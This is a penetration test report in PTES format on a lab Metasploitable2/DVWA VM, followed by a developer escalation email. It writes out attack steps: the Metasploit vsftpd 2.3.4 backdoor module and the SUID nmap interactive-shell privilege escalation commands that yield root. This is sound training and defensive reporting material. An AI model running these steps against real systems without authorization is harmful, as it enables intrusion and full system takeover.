



PTES REPORT

Title: Chained Exploitation and Privilege Escalation on Metasploitable2

Client: Internal VAPT Lab

Tester: Atharva Dave

Date: 2025

Methodology: PTES (Penetration Testing Execution Standard)

1. Executive Summary

This penetration test assessed the security posture of a vulnerable Linux-based system (Metasploitable2) as part of an internal VAPT exercise. The assessment identified multiple critical weaknesses, including web application vulnerabilities, insecure service configurations, and improper privilege management. An attacker was able to chain vulnerabilities starting from a web-based attack vector to achieve remote code execution and subsequently escalate privileges to full root access. Successful exploitation demonstrated that an unauthenticated attacker could gain complete control of the system, access sensitive files, and monitor network activity. These findings highlight a high business risk due to the possibility of data compromise, service disruption, and complete system takeover. Immediate remediation actions are strongly recommended to reduce the attack surface and enforce proper security controls.

2. Scope & Rules of Engagement

In Scope:

- Metasploitable2 VM (192.168.227.129)
- DVWA (hosted on Metasploitable2)
- Network-based and application-based attacks

Out of Scope:

- Denial of Service attacks

- Attacks outside the lab environment
-

3. Methodology (PTES Phases)

1. Pre-engagement Interactions
 2. Intelligence Gathering
 3. Threat Modeling
 4. Vulnerability Analysis
 5. Exploitation
 6. Post-Exploitation
 7. Reporting
-

4. Intelligence Gathering & Enumeration

Network Scanning

```
nmap -sC -sV -O 192.168.227.129
```

Key Findings:

- FTP: vsftpd 2.3.4
 - HTTP: Apache Web Server
 - Web Apps: DVWA
 - Multiple insecure and outdated services
-

5. Vulnerability Analysis

Identified Vulnerabilities

- Reflected Cross-Site Scripting (XSS)
- Command Injection

- Insecure FTP Service (vsftpd 2.3.4)
 - Misconfigured SUID binaries
 - Weak system hardening
-

6. Exploitation (Exploit Chaining)

6.1 Initial Access – Web Application

Vulnerability: Reflected XSS / Command Injection

Tool: Manual payloads, browser testing

Result: Web shell obtained as `www-data`

```
whoami  
www-data
```

6.2 Remote Code Execution – Service Exploitation

Exploit Used (Alternate, Valid Module):

```
exploit/unix/ftp/vsftpd_234_backdoor
```

Tool: Metasploit

Result: Successful shell access

Exploit Chain Summary

```
Web Vulnerability → ShellAccess(www-data) → Privilege Escalation → Root
```

7. Post-Exploitation & Privilege Escalation

7.1 Privilege Escalation Method (ACTUALLY USED)

Method: SUID Binary Exploitation

Vulnerable Binary: nmap

Commands Used:

```
find / -perm -4000 -type f 2>/dev/null  
nmap --interactive  
!sh  
whoami
```

Result:

```
root
```

Impact

- Full administrative access
- Ability to read sensitive files (`/etc/shadow`)
- Complete system compromise

8. Evidence Collection & Chain of Custody

Evidence Collected

- Network traffic capture (Wireshark)
- System command outputs
- Screenshots of root access

Hashing

```
sha256sum post_exploit_traffic.pcap
```

Evidence Log

Item	Description	Collected By	Date	Hash
Traffic Log	HTTP Traffic	VAPT Analyst	2025	SHA-256

Evidence Summary (50 words):

Network traffic and system artifacts were collected post-exploitation following forensic best practices. All evidence was hashed using SHA-256 to preserve integrity and maintain proper chain-of-custody for further investigation and validation.

9. Findings Summary Table

Finding ID	Vulnerability	CVSS	Severity
F001	Command Injection	9.8	Critical
F002	XSS	6.1	Medium
F003	VSFTPD Backdoor	10.0	Critical
F004	SUID Misconfiguration	9.8	Critical

10. Remediation Recommendations

- Remove unnecessary SUID permissions from binaries
- Patch and update outdated services
- Implement strict input validation
- Harden FTP and web server configurations
- Enforce principle of least privilege
- Regularly conduct security testing and audits

11. Conclusion

The assessment demonstrated that chaining multiple vulnerabilities can lead to complete system compromise. Immediate remediation is required to prevent real-world exploitation and reduce organizational risk.

DEVELOPER ESCALATION EMAIL (100 WORDS)

Email

Subject

Dear Development Team,

During the recent VAPT assessment, multiple critical vulnerabilities were identified on the target system. An attacker was able to exploit web application flaws to gain initial access and subsequently escalate privileges to root due to misconfigured SUID binaries. This resulted in full system compromise, including access to sensitive system files. The identified issues pose a significant security risk and could lead to data breaches or service disruption if exploited in a production environment. It is strongly recommended to remove unnecessary SUID permissions, patch vulnerable services, enforce strict input validation, and apply least-privilege principles at the system and application levels.

Regards,

Atharva Dave